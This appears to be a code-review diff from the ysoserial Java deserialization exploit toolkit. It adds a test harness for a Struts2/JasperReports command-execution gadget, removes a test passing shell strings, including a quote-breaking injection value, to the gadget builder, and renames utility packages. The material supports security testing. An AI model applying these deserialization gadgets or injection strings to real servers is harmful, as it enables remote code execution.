|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
|
||||
public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
|
||||
|
||||
@Override
|
||||
public Class<?> getCustomDeserializer() {
|
||||
return StrutsJasperReportsDeserializer.class;
|
||||
}
|
||||
|
||||
/**
|
||||
* need to use a custom deserializer so that the action context gets set in the isolated class
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
public static final class StrutsJasperReportsDeserializer extends Deserializer {
|
||||
|
||||
public StrutsJasperReportsDeserializer(byte[] bytes) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
return super.call();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import org.junit.Test;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
|
||||
public class GadgetsTest {
|
||||
@Test
|
||||
public void test_createTemplatesImpl_noCompilationError() throws Exception {
|
||||
Gadgets.createTemplatesImpl("hostname");
|
||||
Gadgets.createTemplatesImpl("echo 'foobar'");
|
||||
Gadgets.createTemplatesImpl("echo \"foobar\"");
|
||||
Gadgets.createTemplatesImpl("\"`';\\");
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.util;
|
||||
package ysoserial.util;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.util;
|
||||
package ysoserial.util;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.util;
|
||||
package ysoserial.util;
|
||||
|
||||
public enum OS {
|
||||
WINDOWS,
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package ysoserial.test.util;
|
||||
package ysoserial.util;
|
||||
|
||||
public class Throwables {
|
||||
public static Throwable getInnermostCause(final Throwable t) {
|
||||
Reference in New Issue
Block a user